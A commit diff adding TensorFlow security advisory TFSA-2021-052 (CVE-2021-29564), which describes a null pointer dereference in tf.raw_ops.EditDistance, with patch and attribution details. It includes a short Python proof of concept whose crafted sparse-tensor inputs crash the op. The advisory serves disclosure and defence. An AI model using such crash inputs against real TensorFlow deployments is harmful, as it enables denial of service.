chore: import upstream snapshot with attribution

tensorflow/security/advisory/tfsa-2021-052.md

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+## TFSA-2021-052: Null pointer dereference in `EditDistance`
+
+### CVE Number
+CVE-2021-29564
+
+### Impact
+An attacker can trigger a null pointer dereference in the implementation of
+`tf.raw_ops.EditDistance`:
+
+```python
+import tensorflow as tf
+
+hypothesis_indices = tf.constant([247, 247, 247], shape=[1, 3], dtype=tf.int64)
+hypothesis_values = tf.constant([-9.9999], shape=[1], dtype=tf.float32)
+hypothesis_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)
+truth_indices = tf.constant([], shape=[0, 3], dtype=tf.int64)
+truth_values = tf.constant([], shape=[0], dtype=tf.float32)
+truth_shape = tf.constant([0, 0, 0], shape=[3], dtype=tf.int64)
+
+tf.raw_ops.EditDistance(
+    hypothesis_indices=hypothesis_indices, hypothesis_values=hypothesis_values,
+    hypothesis_shape=hypothesis_shape, truth_indices=truth_indices,
+    truth_values=truth_values, truth_shape=truth_shape, normalize=True)
+```
+
+This is because the
+[implementation](https://github.com/tensorflow/tensorflow/blob/79865b542f9ffdc9caeb255631f7c56f1d4b6517/tensorflow/core/kernels/edit_distance_op.cc#L103-L159)
+has incomplete validation of the input parameters.
+
+In the above scenario, an attacker causes an allocation of an empty tensor for
+the output:
+
+```cc
+OP_REQUIRES_OK(ctx, ctx->allocate_output("output", output_shape, &output));
+auto output_t = output->flat<float>();
+output_t.setZero();
+```
+
+Because `output_shape` has 0 elements, the result of `output->flat<T>()` has an
+empty buffer, so calling `setZero` would result in a null dereference.
+
+### Patches
+We have patched the issue in GitHub commit
+[f4c364a5d6880557f6f5b6eb5cee2c407f0186b3](https://github.com/tensorflow/tensorflow/commit/f4c364a5d6880557f6f5b6eb5cee2c407f0186b3).
+
+The fix will be included in TensorFlow 2.5.0. We will also cherrypick this
+commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow
+2.1.4, as these are also affected and still in supported range.
+
+### For more information
+Please consult [our security
+guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
+more information regarding the security model and how to contact us with issues
+and questions.
+
+### Attribution
+This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu
+X-Team.